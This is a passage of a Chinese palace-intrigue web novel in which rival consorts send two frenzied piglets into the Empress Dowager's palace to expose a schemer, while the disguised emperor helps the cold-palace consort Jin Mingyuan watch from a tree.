“这…”安妃有些不确定,得罪了她那姑母,那猪还有没有活路,她一时不敢保证。 姜妃这里倒是很笃定:“回不来了,这次之后,那猪就不能要了,不过没关系,我下次再让人给晋姐姐弄几只更乖更好的小猪崽就是了。” 安妃也道:“晋娘娘,如此你的小猪也算是为正义牺牲,这比做成猪肉要伟大的多呢,我也知道这很可惜,这些你拿去,就当是我给它们买的坟墓。” 她一边说着,一边解了个荷包,塞到了晋明鸢手里,沉甸甸的,里面尽是银子,少说也得有四五十两。 晋明鸢感动的同时,嘴角也是有些抽搐,她怎么之前没有感觉到,这安妃也会说这等玩笑话? 还为了大义牺牲。 那她那两只猪还真是做了了不起的事呢。 还真是够伟大的。 不过安妃给的这一袋银子也确实分量够重,足够堵住晋明鸢的嘴了,晋明鸢虽然也有些可惜她的小猪,到底没多说什么。 姜妃与安妃相视一笑,很快就各自出去准备了,晋明鸢也小心翼翼的收好了银子,一回头,就看到贺云瑄不知什么时候过来了,站在那里,一双黑黝黝的眼睛死死的盯着她。 第109章 她宝贝儿子癔症了? 尊敬的读者您好!本章原内容与正文无关或涉嫌违规,为了您良好的阅读体验,已将本章原内容进行删除,请您继续阅读下章内容,感谢您的支持~ (本章为免费内容,无需付费) 第110章 想做宠妃的宫女吗 贺云瑄还想再说什么,可晋明鸢明显是一点儿也不信。 他也知道,说堂堂一个陛下跑到冷宫来劈柴做饭,实在是荒唐,除非他能证明。 知道在这件事上僵持下去也不会有更好的结果,贺云瑄又忧虑的看了晋明鸢一眼,才顺从听话的回了房间。 晋明鸢看了一眼贺云瑄房里紧闭的房门,她挠挠头,有些无奈的对着院里的芙蕖道:“你说我儿子小小年纪,怎么就迷糊了呢,想什么不好?竟然觉得他那便宜爹是皇帝!这梦做的也忒离谱了些,你说是吧?” 还皇帝呢。 那人在她这里活干的比她都顺手,对她更是称得上言听计从,晋明鸢可不觉得堂堂一个皇帝有那么好的脾气。 退一万步来讲,她之前又是与人苟合生孩子,又是给皇帝戴绿帽子,弄得人尽皆知的,就算皇帝真的脾气好,也该恨她怨她的。 怎么可能在她这里鞍前马后的干活? 那也太不符合常理了。 “万一那个就是呢,晋娘娘,您要不试着相信小公子一下?”芙蕖听着晋明鸢的吐槽,表情有点一言难尽,但还是试探着去引导了一句。 陛下一直隐藏身份,就算是给她天大的胆子,她也不敢把这事儿捅出来,只能这样暗示一下。 如此一来,真等以后事情败露了,陛下也不至于把责任怪罪到她头上来,晋娘娘也没办法怪罪她知情不报。 芙蕖现在算是看出来了,她们这位晋娘娘在陛下那里到底还是不一样的,她又哪里还敢有什么懈怠的心事呢? 晋明鸢又是皱着眉唏嘘:“不是,难不成你也疯魔了? 陛下天天来给我烧火做饭呀,我都不敢信的事儿,你们咋说得出来的? 行了我看你也是太累了,去歇着吧。” 芙蕖自觉逃过一劫,连忙退了下去,结果翌日一早,她就被贺云瑄拦住了,小孩一双眼睛黑亮亮的,话里半点儿弯绕都没有,就开门见山:“你知道怎么见陛下吗? 或者能不能让陛下过来一趟,我有事想与他说。” 他年纪虽然小,但是很多时候带来的压迫感,远比晋明鸢还要强,尤其是对上他那双眼睛的时候,总给人一种被他看穿的错觉。 芙蕖道:“小公子,不是奴婢不告诉您,以您的聪慧也该看得出来,陛下不想在晋娘娘面前暴露身份,当然他也未必会见您。” 最后一句话,芙蕖说的是事实。 贺云瑄身份太尴尬了,怕是陛下连看他一眼都厌烦,若是她敢带贺云瑄去找陛下,必定是讨不得什么好。 贺云瑄显然也意识到了这点,他的脸稍微垮了垮,也没有在为难芙蕖,片刻之后,他忽然又问:“你能不能再带娘亲出一次冷宫?二十号那天,陛下应该也会去福寿宫吧?娘亲喜欢热闹,你带娘亲去看热闹没什么吧?” 在那种大场面之下,那位陛下身边一定是人群簇拥,到了那时,娘亲怎么也不会再相信他就是个暗卫了。 贺云瑄很清楚,只要把娘亲推到了那个陛下身边,应当就意味着他要与娘亲分开了。 虽然很舍不得,但他必须这么做。 他已经五岁了,是大孩子了,不能让娘亲因为他的缘故留在这偏僻的地方,陷在危险之中。 他很快就长大了,等长大了就能翻出冷宫高高的院墙去偷偷见娘亲了。 “好不好嘛芙蕖姐姐,我知道,你与柳枝一直因为被调到冷宫的事心存怨怼,可你仔细想一想,若是我娘亲出了冷宫,以陛下对她的在意,你们两人作为她的贴身丫鬟,岂不是就可以扬眉吐气了? 就算为了给自己争口气,你也应该帮我这个忙,对不对? 你难道想一辈子耗在冷宫吗?你想想清妃身边的满春,不仅经常有新的衣裳换,还能对着旁人颐指气使,这样的日子你不想要吗?”贺云瑄说。 他的话一句接一句,句句都砸在芙渠的心间上。 她刚入宫的时候,也是凭着一股子野心,四处打点,力争上游,成功到了紫宸殿,可御前宫女的日子没过几天,就直接被指到了冷宫。 从此处境一落千丈。 就连之前交好的姐妹也都嫌她在冷宫里晦气,渐渐的与她疏远了关系。 就算没有人克扣她的俸禄和食物,可在冷宫里当值和在紫宸殿当值,怎么能一样呢? 在陛下身边,且不说油水有多少,至少风光无量,哪像现在,日日如阴沟里的老鼠一样,明明都是当下人的,可哪个嫔妃的下人过来了,她们都得小心奉承。 就连之前的欣贵人,明明是这宫里最不受宠,位分最低的一批嫔妃,她也得小心捧着,这种日子,她早就过够了。 看出来芙渠的动摇,贺云瑄又说:“我娘亲在陛下心里的地位你应该看到了,若是她自己出了冷宫,这宫里的下人挤破了头也会去她身边的,你如今有这样好的机会,真的不珍惜吗?” 这一次,动摇变成了坚定,芙蕖说:“小公子,奴婢听您的,奴婢愿意赌一次。” 哪怕对面的小孩才比她的腰高一点,可在他面前,芙蕖的态度格外的坚定,她眼里更是没有一点儿对贺云瑄的轻视。 不管如何,她都没有办法否认,这次她是真的被贺云瑄说动了,她想赌一把。 贺云瑄说:“你放心,这件事不论如何都不会牵连到你的,娘亲只是喜欢凑热闹,那种情况下不经意间撞破陛下的身份也是理所当然的。 如果到时候陛下真的问起什么,你就只管说架不住晋娘娘的央求,带晋娘娘出来散步的。” 芙蕖神色愈发坚定了。 她没办法否认,贺云瑄说的很对,陛下说是不许进娘娘出冷宫,可宫宴上之前,她找陛下帮忙抓鹅的时候,陛下分明就知道晋娘娘已经出来了,却根本没有发怒。 那晋娘娘想出来散步的话,陛下也一定会默许的。 如果她只是带晋娘娘散步,偶然听到了福寿宫的热闹,是晋娘娘自己跑过去的,那就与她无关。 第111章 两头疯猪 姜妃和安妃的算计瞒得很死,传到贺江灈耳朵里的时候都已经是八月二十深夜了。 当天晚上宫里喧闹无比,那热闹就是连紫宸殿里都能听到些许。 张公公进来禀报的时候,甚至连舌头都是发颤的:“哎呦,陛下,不好了陛下,今日宫里也不知道哪里来的两头疯猪,竟然直接就闯进福寿宫!” 说是不知道从哪里来的,但张公公的视线却一次次的偏向贺江灈,还带着些许暗示的意味。 乖乖哦,这宫里能跑出来不就那么一个地方吗?不用想也是那晋娘娘又惹了祸了。 太后平日里最烦的就是那种不守规矩之辈,这猪还就不偏不倚的跑到了福寿宫,今日这事儿定是又不能善了。 “陛下,那猪怕是从晋娘娘…”张公公话都没有说完,贺江灈就已经起身冲着门外走去。 张公公也是紧随其后的跟了出去。 而此时的福寿宫早就乱作了一团,尤其是那门口的人,几乎能将整个宫道都站满了。 隐约还能听到,从里面传出来的太后尖锐的叫嚷声。 贺江灈隔着人群,透过影影绰绰的缝隙,一眼就看到了双手环胸挤在人群里看热闹的姜妃,就算只是侧脸,贺江灈都好像能看出来她嘴角扬起的弧度。 急匆匆赶来的脚步都停下了,心头涌起的几分担忧也散掉了。 姜妃那女人今日都能在这里这么放松的看热闹,就说明这事儿应该与晋明鸢无关。 若是那两只猪真是从冷宫里跑出来的,姜妃早就扑进去抓了。 “陛下,咱们…”张公公犹豫着问,“要不要奴才先让这些人散了?” 这会儿张公公心里更是疑惑,太后宫里出了事传出来的话,这群下人们怎么也该进去帮忙的,如此还能在太后那里露个脸儿,立个功,今日怎么就在这里看起热闹来了? 张公公又想到自己之前打听到的小道消息,说是两头疯猪不偏不倚的就冲着福寿宫而来,就好像是福寿宫里有什么能吸引它们的一样,这事儿明显就不简单了。 贺江灈正要说话,余光一瞥,正看到有人鬼鬼祟祟的穿过人群,朝着福寿宫后墙的方向而去。 他眼眸微凝,连眉头都皱紧了几分。 张公公察言观色,也顺着他的视线望过去:“陛下,要不要奴才跟过去看看?” 那两人都是宫女打扮,偷偷摸摸的模样实在是引人注目,就在这一群看热闹的人群里,一眼就能让人注意到。 “你在这里盯着福寿宫怎么回事,朕亲自过去看。”贺江灈说。 张公公也不知道贺江灈哪里来的兴致,竟然亲自去找一个鬼鬼祟祟的宫女。 就像现在芙渠也不知道,人的好奇心怎么能大到这种程度? 她是听了贺云瑄的话,带着晋明鸢出来走动,结果从冷宫到福寿宫实在太远。 过来的时候,人群已经将这儿围的水泄不通,实在看不清里面的场景。 芙蕖的本意也不是要看热闹,她看着这儿乌泱泱的人群,只觉得还是站在外围等陛下最为靠谱,那样陛下一来,晋娘娘也能一眼看到他。 哪能想到,她是阻止了晋娘娘往人群里挤,却没压住晋娘娘要看热闹的心。 只是一眨眼的功夫,就见这人直接朝着后墙的方向走来,芙蕖怕像上次一样将人跟丢了,也只能赶紧跟上来。 眼见着晋明鸢找了石头堆积到一起明显是要爬墙,芙蕖脑袋都木了,她连忙阻止道:“晋娘娘,这热闹咱也不是非看不可,这墙这么高,你若是因此磕着碰着,实在不值得,你说是不是?” 晋明鸢对芙蕖的话充耳不闻。 她很快就给自己堆出来一个还算靠谱的落脚点,不由分说的就要往上爬,芙蕖看着那被七零八落的石头树枝堆积起来的高点,她只能继续劝:“就算没有磕着碰着,您爬的那么高,万一被里边的人发现了,咱们跑都不方便,为了看个热闹,真不至于…” “哎呀,你怎么那么多话?不是你说要带我看热闹的吗?我这还没看见呢,阻拦什么?再说了,这里哪有那么多万一啊? 行了,你别说话了,别耽误我见我小猪的最后一面,好歹我也亲自喂过它们,有感情的!你懂不懂?” 晋明鸢随口敷衍着芙蕖,又是踮脚就要往上爬。 她只是寻了一个稍微高一点的小坡,上面铺了树枝杂草,然后又垫了石头,就这样搭了个格外简陋的落脚点。 肉眼看起来就格外的不稳,颤巍巍的,好似随时都能坍塌一样。 芙蕖甚至觉得她还没能攀上墙头,这东西就能先坍塌下来让她摔伤。 芙蕖现在已经开始后悔听了贺云瑄的话。 现在她连陛下的影子都没见到呢,晋娘娘就闹这一出。 万一在陛下来之前晋娘娘真的磕了碰了,到时她怕是连赔罪都不够。 事已至此,劝也劝不住,芙蕖又看了一眼地上的小土包,她狠了狠心:“晋娘娘,您若是实在想看,不如您踩着奴婢上去,总比那个稳妥,您说是吧?” 一边说着,她一边上前两步,直接蹲在了晋明鸢的面前。 贺江灈过来的时候看到的就是这样一幅景象。 听到熟悉的声音,芙蕖直接双腿一软,连身子都不太稳,晋明鸢见状,颇为嫌弃嘀咕一句:“你自己都站不住,还不如石头呢。” 目光一转,就看到了一身黑衣,长身玉立的男人,晋明鸢先是愣了一下:“你怎么在这里,也是来看戏的吗?” 也不管贺江灈回话,她忽然想到了什么,眼睛亮了起来,直接快步到了贺江灈身边,手挽着男人的胳膊:“那正好,外面人多,这儿又看不见,你帮帮我。” 要看戏的心思占据了全部思考,她不由分说的就把贺江灈拽到了她之前堆的那小土坡旁边,也就是芙蕖的身边。 在这样的距离之下,芙蕖甚至能闻到淡淡的龙涎香味,她这回连表情都是僵滞的。 第112章 皇帝去哪里了 小公子只让她带着晋娘娘过来偶遇陛下,也没告诉她会遇到这样的情况呀。 这遇算是遇上了,可现在陛下孤身一人,没有随从,只她这个知情人在此,她依旧是不敢拆穿呀。 还有晋娘娘,简直就是把不知者无畏演的彻彻底底,她这是想做什么?莫不是还想踩着陛下的肩膀往上爬吗? 那自己现在撞破这事儿,以后该不会… 任凭现在芙蕖腿都软了,为了不暴露陛下的身份,她是连跪也不敢跪,只能低着头僵持着。 倒是晋明鸢又拽了贺江灈一下:“既然遇上了,就说明老天都让你帮我,快点快点,要不然一会儿都结束了呢。” “晋娘娘,这…这怕是于理不合。”帮能怎么帮,不就是她想让陛下托着她往上爬吗?芙蕖觉得为了自己的小命,还是得阻止一下。 但晋明鸢完全没有当回事:“什么于理不合?我现在就是个宫女,宫女,你知道吗?别叫我晋娘娘,要是被人看到了,大不了我捂着脸跑就是了,这宫里宫女那么多,谁认识谁呀。” 她低头只看一眼自己身上的宫女服,就是莫大的自信,冷宫的妃子不能与人接触,可她现在是宫女呀,又没人认识她。 反正今日这个热闹她是看定了。 可她这姿态,在芙蕖的眼里明显就是一副掩耳盗铃的模样,芙蕖已经不知道该怎么劝了,还是贺江灈摆了摆手:“你去那边候着。” 心头升起一股劫后余生的放松。 望风好呀,望风还能立功,总比跟着晋娘娘担惊怕的好。 不敢挑破陛下的身份,芙蕖今日也不指望完成小公子的交代了。 芙蕖离开了以后,贺江灈才道:“里面发生了什么让你非得要看看?” 他余光一瞥,看向的也是晋明鸢方才自己弄起来的小土堆。 那东西一看就不稳,也不知道这女人心怎么这么大,就为了看个热闹,什么都不顾。 这么大的手笔,连她自己都这么好奇,这事儿一看也不是她做的,八成就是那姜妃又搞了什么幺蛾子。 “哎呀,你哪里来的那么多废话,到底帮不帮忙?”晋明鸢嘀咕道。 虽然不愿意与这个男人接触,可现在即使见了面,她使唤起来那也是一点不留情的。 反正本来就是这人亏欠她的,他都自己撞上来了,她当然该用就用呀。 贺江灈看了一眼面前的墙头,又看了一眼旁边质押几乎要探进福寿宫的老桃树,他调了调眉,伸手箍住了晋明鸢的腰,施展轻功就带着她到了一棵粗壮无比的树枝上。 从这个角度望过去,正好能看到福寿宫里的场景。 两头还没有成年的小猪崽疯了一样的在院子里乱撞,福寿宫里的老嬷嬷们手忙脚乱的赶着。 几个嬷嬷都累得气喘吁吁,但那两只猪却是精力充沛,边跑边叫,发起疯来让晋明鸢觉得一点都不逊色于她院子里的那些大鹅。 福寿宫的嬷嬷应该也是认识到了这两头猪体力非常,已经不再执着于将猪压制住了,她们现在完全就是想要把猪赶出福寿宫去。 却也不知福寿宫有什么东西,反倒是让这两只猪无比的执着,竟是一门心思的想要绕开嬷嬷们往太后的寝宫里钻。 虽然已经能设想到姜妃出手场面会不一般,但晋明鸢自己看到这场景的时候也是瞠目结舌,她忍不住自言自语的嘀咕:“小猪崽真有这么大的潜力吗?这么多的人都拦不住! 这精力简直太厉害了,该不会是什么猪中之王吧?那我岂不是错过了天大的机缘?” 细密的声音落到旁边贺江灈耳朵里,贺江灈简直不知该怎么评价。 还猪中之王,她真是一如既往的会胡思乱想。 “不是,那猪明显不正常,像是吃了什么不干净的东西。”贺江灈实在看不过晋明鸢一脸惋惜的模样,面无表情的道出了真相。 晋明鸢的脸色,这才好看了一点还好不是。 要不然拿弄丢了这么厉害的猪,她心里会很后悔的。 这样真的是猪中之王,肉肯定也不一样,就该给她的小瑄瑄吃。 晋明鸢这会儿倒是安静了,贺江灈则是死死的盯着那两头猪:“你好像对今日的事并不意外,这到底是怎么回事?不应该说说吗?” 晋明鸢翻了个白眼:“我哪里知道呀,你可别冤枉我,我的猪丢了好一段时间了,我今日也是听说有猪跑到了太后这里,才过来看看的。” 贺江灈还想再问,但话没出口,他的瞳孔先是一阵收缩,就见一头猪不仅越过了层层围堵,还用头直接撞向了太后寝宫紧闭着的门。 哐当一声巨响,就连他们在这种距离下都听得一清二楚,那头猪也是直接倒在了地上,但一会儿又摇摇晃晃的起来,完全不止疼痛一样又要去撞,就像中了邪一般。 而在门后,是太后尖锐的声音。 “人呢?来人啊!赶紧把这疯猪赶出去啊!” “皇帝呢,让人去请了吗?皇帝怎么还不来?这宫里哪来的活猪。” 几个老嬷嬷又拿着棍棒扫帚过来,试图把那猪弄走,但这头猪现在完全就是一个癫狂的状态,看到棍棒也不躲,就一味的去撞门。 晋明鸢直接目瞪口呆,她是来看乐子的没错,可这也太稀奇了吧? 那姜妃到底给猪喂了什么呀?怎么能疯成这鬼样子? 还有… 她仔细环顾着,不是说要把那什么定明侯逼出来吗? 现在也没有看到定明侯的影子呀,莫不是人还在太后的寝宫里? 晋明鸢还没有想出个所以然来,就又听到太后尖锐的吼叫:“皇帝到底去哪里了,出了这样大的事,他一点也不知道吗? 他是想让哀家死在这里吗?” 太后这话也是晋明鸢想问的,这戏本来就是这给皇帝看的,可那皇帝到底去哪里了? 晋明鸢实在想不明白,拿手肘拄了一下旁边的人:“你在这里,你主子呢?他咋还不来救太后?” 第113章 皇帝为什么还不来 “你很希望陛下在这里?”对上晋明鸢那双明显看好戏的眼神儿,贺江灈随口问道。 折腾出这么大的动静,还希望他在场,一看就知道姜妃那不安分的是想设计谁。 “什么叫我希望?这福寿宫不是太后的地方吗?现在出了这么大的事儿,陛下不应该来关心太后吗?”晋明鸢有些没好气的道。 这男人竟然还想套她的话,真当她是傻的吗? 她才不会说这事儿和她有关呢。 就在两个人说话的空档,下面福寿宫里的情况变得更紧张了些。 一群老嬷嬷们只顾着赶那头撞门的猪,一时没有人注意到另一头猪,反倒是让两头猪成功会合,一起不管不顾的想要往门里撞。 门内的太后连声音都是发抖的,尖锐的声音几乎要冲破云霄:“人呢?人都去哪里了?皇帝不在,那些侍卫呢,一个个的也都聋了吗?这么大的动静他们是听不见吗? 要他们有什么用?等这件事解决了,哀家一定要让他们好看!” 王嬷嬷也急。 眼看着这两头猪疯癫一样,那福寿宫门口围了这么多人,却没有人敢动,她怒道:“你们真是好感的胆子,太后的热闹也敢看,还不赶紧滚进来帮忙!” 人群里一阵静寂,过得有一会儿,终于有人头耸动,好像是有人在往前面挤。 是清妃。 她很快就挤到了最前面的姜妃跟前,皱着眉惊诧道:“哎呀,这到底是怎么回事?怎么会有猪跑到太后娘娘院里来呢? 姜妹妹,陛下如今把宫权交给你,你弄出了这样大的纰漏也就算了,怎么还不赶紧弥补? 竟是这般眼睁睁的看着这猪在太后院里发疯,你是不是太过分了点?” 她每说一句话,就要指摘一句姜妃的不是。 引的周围人的视线也都齐齐地落到了姜妃身上。 姜妃道:“是呀,本宫也是好奇呢,这好端端的怎么会有猪往太后院子里跑? 而且这俩猪状态明显不对,疯的厉害,像是饿急了眼似的。 真不知道什么人这么缺德,竟是好端端的把两头猪饿成这模样。 之前我可是听民间有传说,这猪饿极了什么都吃,连人也吃,我这实在是… 哎呀,清姐姐,你这样大义,不如你带人进去把那两头猪抓出来吧。” 姜妃抛皮球一样,把话又抛给了清妃,她声音不大,有些话不足以让太后跟前的人听到,却可以让清妃听得一清二楚。 清妃脸色略微变化些许。 再看院里那两头疯猪时,她脸上的神色更是变幻不断,一会儿心虚,一会儿恐惧,对上姜妃那双戏谑的眼睛,她有些不情愿的道:“这宫里那么多侍卫呢,陛下养着他们不就是为了现在吗? 你赶紧让人把他们叫来就是,哪里用得到本宫亲自进去救人?” 她之前倒是真有这个打算,想要奚落完姜妃,就带着自己的人进去,然后向太后邀功的。 但听了姜妃那几句话后,再看那几头猪,越看她越觉得不对劲。 又想到这猪是从她那里跑出来的,清妃心里更是虚的厉害,生怕这猪认出她来,对着她来上一口。 只是想一下,清妃就觉得自己至膝盖以下都有些痛。 她又催促道:“还有你们,太后娘娘有难,你们就在这里看戏吗?还不赶紧进去帮忙?” 她端的是一幅颐指气使的姿态。 反倒是让周围的一些下人都后退了几步,连看着她的表情都不太对劲。 刚才事情发生的时候,姜妃说起那猪不对劲,第一时间就是拦着她们进去送死,这个清妃倒好,明知情况不对,却硬是推她们去送死,自己却是躲在后面。 这分明是把她们的性命视为草芥。 枉她们之前还觉得清妃最是温柔善良,待人也好。 可现在一场变故,竟是让她们都看清了这女人的真面目。 一时间不少人在看向清妃的时候,视线都变得有些古怪。 清妃也察觉到了异样,她怒道:“你们看什么看?本宫这也是为了你们好,太后娘娘有难,你们在这儿冷眼旁观,难道就不怕太后娘娘以后惩罚于你们吗?” “太后娘娘宅心仁厚,自然是不希望看到有人因为她出事,再者说了,太后娘娘如今在屋里,这猪又撞不破门,太后娘娘自然是安全的,咱们这也不是见死不救,只是在等陛下带人过来而已。 清妃娘娘现下如此着急到底是为了什么呢?难道这件事有什么猫腻和清妃娘娘有关?”姜妃道。 她短短几句话,不仅是安抚住了这些犹豫着要不要进去的宫女,还又把问题重新抛回到了清妃那里。 清妃脸色一变,连忙否认:“跟我有什么关系?我也只是担忧太后娘娘,姜妹妹可莫要血口喷人。” “那清妃既然如此担忧太后娘娘,倒不如您自己进去,就挡在太后门前,用你的身体救太后娘娘与水火。 说不定那两头饿急了的猪先把你啃了,就不再撞太后娘娘的门了呢? 这样清妃既能保护太后娘娘,又能让这两头小猪不受饥饿之苦,多么的伟大呀!” 姜妃一边出谋划策,一边阴阳怪气。 明明她口中什么猪吃人的事清妃是第一次听说,可看她说的这么煞有介事,她甚至又感觉到自己的皮肉都在隐隐作痛。 连后背都在不断的发冷,清妃的身影甚至想要往人群中钻,好在这时,人群里忽然传来了张公公的声音。 人群散开了一个甬道,几名穿着黑甲的侍卫冲冲赶来。 直到看到这一幕,清妃才乍然松了一口气。 而姜妃的目光则是朝着人群后面望了一圈,除了张公公以外,她没有看到那一抹明黄。 眉心稍稍皱起,很快又舒展。 姜妃眼睛里得暗芒闪过。 啧,还真没来呀,不过他早就留了后手。 不管那人来不来,今日太后的事儿都得给她捅出去。 那些张公公带来的训练有素的侍卫,大约也没想到有朝一日他们一身武功要用来抓猪。 福寿宫里的几位老嬷嬷之所以弄不住这些猪,有一部分原因也确实是不太靠近,但换成这些侍卫,仅仅是几个呼吸的功夫,就将猪都放倒了。 一切都安静下来。 门内太后也重重的松了一口气,她看了一眼张公公,又怒道:“皇帝呢,他为什么没来?他就这么不在意哀家的死活?” 第114章 咱们毕竟萍水相逢 一场戏到了这时候,也就进了尾声。 喧闹结束,就到了该清算的时候了。 晋明鸢心里也是有诸多的疑惑。 饶是她在这树上蹲了这么久,也没看到那什么定明侯的影子呀,不仅定明侯,就连陛下也没来。 虽然戏是挺好看的,可什么都没有,这不就白演了吗? 晋明鸢心里不禁有些怀疑,这样一来,真的能震慑住太后吗?什么把柄都没抓住,万一太后再想要对她与云瑄下手,一切不还是无济于事吗? 想到这里,晋明鸢的脸色也垮了下来。 贺江灈察觉到异样,他道:“你是不是在担心什么?不如与我说说,说不定我能帮你解决呢?” 她失忆以后,从来都是没心没肺的,现在忽然露出这样的表情,反倒是让贺江灈觉得很不习惯。 她这一开口,晋明鸢才注意到自己旁边还有个人,想到那个没有得到答案的问题,晋明鸢又怒道:“你还没有回答我呢,你主子为什么不在这里?太后出事,他就一点不担心吗?那不是他娘吗?” 晋明鸢一连问了好几个问题,越是问下去,她越是觉得那个没见过真容的皇帝实在是太古怪,哪有人连自己的娘都不在乎的呀? 只是听到她可能会出事的消息,她的云瑄就紧张成那样,这皇帝未免也太冷漠了些,福寿宫里闹成这样,他竟是连个面都不露吗? 这些问题个个都难回答。 贺江灈觑着晋明鸢那百思不得其解的表情,思忖片刻,他捡了个最好回答的:“太后不是陛下的亲娘。” 旁边的男人声音冷漠如冰,晋明鸢的嘴角抽了一下,伸手对着他的肩膀拍了一巴掌:“我关心的是这个吗? 就算不是,宫里都出事了,他怎么就不来看看?” “你为什么那么希望他来?”问题又一次绕回到了这里,这回轮到晋明鸢沉默了。 她对于自己面前这个人的态度,一直都是只利用不信任。 既然不会把自己的想法告诉他。 两个人僵持不断的时候,太后已经从屋里走了出来,那些来看热闹的下人也都作鸟兽散。 太后的脸色铁青,嘴唇却泛着白,明显就是惊吓过度的模样,她又一次怒道:“张康全,哀家问你话呢,你主子呢?” 这话莫说太后好奇,张公公自己也不知道。 陛下只让他在人群里候着,从那以后就不知所终,他也是看着情况乱的一发不可收拾,陛下那边又是迟迟未归,这才自作主张,叫了几个侍卫过来把猪给放倒了。 若是问他陛下在哪里,他还真回答不上来。 张公公一直没出声,太后又怒道:“你这个狗奴才,现在连哀家的话也不回了,愣着做什么?还不赶紧去请皇帝过来! 哀家倒是要问问他,这宫里出了这等畜生的事,他知不知道?” 张公公好似有些为难,顶着太后的目光,他到底是退了出来。 与此同时,贺江灈也把晋明鸢从树上带了下来:“时候不早了,你赶紧回去吧,别让旁人看到。” 虽然他还不知道这件事情的完整经过,但是这两只猪毕竟是晋明鸢养的,就算他之前有意封口,这宫里也多的是人看到这猪被运往冷宫。 晋明鸢若是留在这里,绝不是什么好事。 尤其是如果让太后发现,就算这事与她无关,太后也得想方设法的把帽子往她身上砸。 晋明鸢根本没有看到自己想要的结果,心里倒是不情愿离开。 可是她自己也知道,她能跑到福寿宫来看热闹,纯属就是因为当时场面混乱,不会有人注意到她,可现在人群散去,宫中戒严,她若是再不回去,被人发现了怕是还真有麻烦。 眼下的情况她也只能妥协。 看出她有点失望,贺江灈又说:“晚点我过去看你,后面发声的事我会告诉你。” “那倒是不用。”晋明鸢一下子回过神来,忙不迭的阻止,“你别来看我,那不太合适,咱俩这萍水相逢的,当个陌生人就是了,我警告你,可别害我。” 贺江灈差点就被她这急于摆脱关系的模样气笑了。 现在不是找他帮忙的时候了,利用完了他了,又萍水相逢了。 她还真是抽身的干脆。 一点儿也不拖泥带水。 既然这样,那当年为什么在那件事上从来断不干净? 眸光深沉几分,贺江灈又想说什么,却见那女人已经一阵风似的跑开了。 他深吸一口气,简单的整理了一下衣衫,才过拐角,就撞上了急忙过来的张公公。 张公公看到他时重重的松了口气:“哎哟,陛下啊,太后娘娘急着找您呢,您快点去看看吧。” 贺江灈没说话,只是点了一下头。 等到了福寿宫的时候,院子里那两头猪被五花大绑丢在地上。 太后面色不虞的坐在院子中央,在她对面,清妃姜妃都在,两个人之前关系再怎么不好,面上功夫也做得可以,可今日却全然是针尖对麦芒的架势。 贺江灈甚至都怀疑,他进门之前,这俩人刚掐了一架。 只是看了一眼这架势,贺江灈隐约就能猜到,这事儿若是姜妃的手臂,那她就是冲着清妃来的。 “母后…” “皇帝真是好大的架子,今日哀家福寿宫出了这么大的事,竟是惊动不了你分毫,怎么,皇帝如今连装也不想装了,一点也不把哀家这个母后看在眼里了是吗?” 贺江灈话开了个头,就被太后怒不可遏的打断了。 太后说话的时候连胸口都在不断的起伏着,那怒火完全压抑不住。 贺江灈道:“母后说的哪里的话,不管咱们母子平日里有再多分歧,你始终是朕的母后呀,朕怎么会不在意您呢? 朕这不是一听到消息马上就过来了吗?” 他像是这样安慰的太后,可话里又好像有些意有所指的意味,让太后的脸色更加难看了。 没有谁安慰人的时候,还要先提一句之前的分歧。 太后总觉得他就是故意的。 第115章 猪从哪里来呢 太后一双锐利的眼睛在贺江灈身上不断的打着转,贺江灈就像是一点也察觉不到异样一样。 他又关切道:“母后脸色怎么这么苍白?今日这事儿到底怎么回事?” 太后这才冷哼一声:“你与其在这里问哀家,倒不如问问你这些嫔妃是怎么管理后宫的?什么时候这宫里都能有活物了?” 最后几个字,太后说话时几乎要咬碎了一口银牙,再看到地上那两头已经被绑得动弹不得的猪,她还是有种心有余悸的感觉。 贺江灈很是配合的点了点头,然后又漫不经心的看向了姜妃:“说说吧,怎么回事?” 清妃也说:“是呀,姜妃妹妹,陛下把宫权交到你手上,你怎么能出来这样大的纰漏呢?” 姜妃说:“这就得问问清妃姐姐了,这猪从哪里来,姐姐当真不知吗?” 在这样的场合之下,姜妃也是无比的镇定,脸上连一点慌乱也没有,甚至还笑眯眯的看着清妃,像是完全没有被太后的怒火又或者这紧张的气氛影响到一般。 “我知道什么?姜妃血口喷人该有个度,我又不会养猪,这猪跟我有什么关系?反倒是你…” “清姐姐可别急着否认,我知道你想说什么,不就是我没证据吗?这就得让清姐姐失望了,今日可有不少人亲眼看到这猪从你的玉粹宫里跑出来了呢。”姜妃说。 清妃脸色一白,但很快她又反应了过来:“姜妃,你就算是想推卸责任,也不至于这么荒唐,我玉粹宫是什么地方?周围那么多宫殿,门口更是人来人往的,这猪若是在我玉粹宫里,怎么会没人听见动静? 我看与其说有人看到猪是从我玉粹宫里跑出来的,都不如说你随意找人诬陷攀咬我。” 把猪放出来之前,她可是小心的让人探查过周围,绝无可能被人看见才对。 虽然这件事中间是出了一丁点的小插曲,但一切都很顺利。 她几乎可以笃定,姜妃就是故意在诈她的。 姜妃说:“想要让一头畜生无声无息很容易,只要给它灌点哑药就是。 我早就料到了清妃姐姐会嘴硬,没关系的,我已经让人去了你玉粹宫,你在宫里养猪的痕迹总会留下的,就算没有痕迹,我还不信你那里所有人都像你一般嘴硬。” 姜妃语速放的缓慢,又好像每一句话都砸在清妃的心上,让清妃好不容易安定下来的表情又开始慌乱。 姜妃又说:“陛下,太后娘娘放心,臣妾已经让人把玉粹宫的下人都押过来了,这件事很快就会有个结果。” 太后眼神阴郁,直接就扫到了清妃的身上,脸色也是一片铁青:“清妃,你好大的胆子!竟然敢算计到哀家头上,你…” “不是的,太后娘娘,不是臣妾,陛下,你相信臣妾,这一切都是那姜妃故意陷害,臣妾最近在玉粹宫一直安分守己,甚至连门都没出过,而且臣妾怎么会有猪呢?” 清妃心里又是一虚,她急急忙忙的和太后解释一句,对上的是太后的冷脸,于是她立刻调转了方向,扑过来,攥住了贺江灈的袖口。 贵妃红着一双眼睛,楚楚可怜的朝着贺江灈看过来。 依旧是小时候一般柔弱无骨的模样,可这回贺江灈看着她那张委屈的脸,表情却一点点的变得古怪。 他稍稍用力,就将袖子抽了回来,声音平淡:“清妃,若此事与你无关,你自是无需惊慌,朕与母后都在这里,必不会让别人冤枉了你去。” “是…是,臣妾自然是相信陛下的,臣妾只是担心姜妹妹她…她…”清妃支支吾吾的,半天也说不出什么完整的话来。 “清妃姐姐是怕我污蔑于你吗?那你倒可以放心,陛下与太后都在呢,我就算有天大的手段,也瞒不过二位的慧眼。 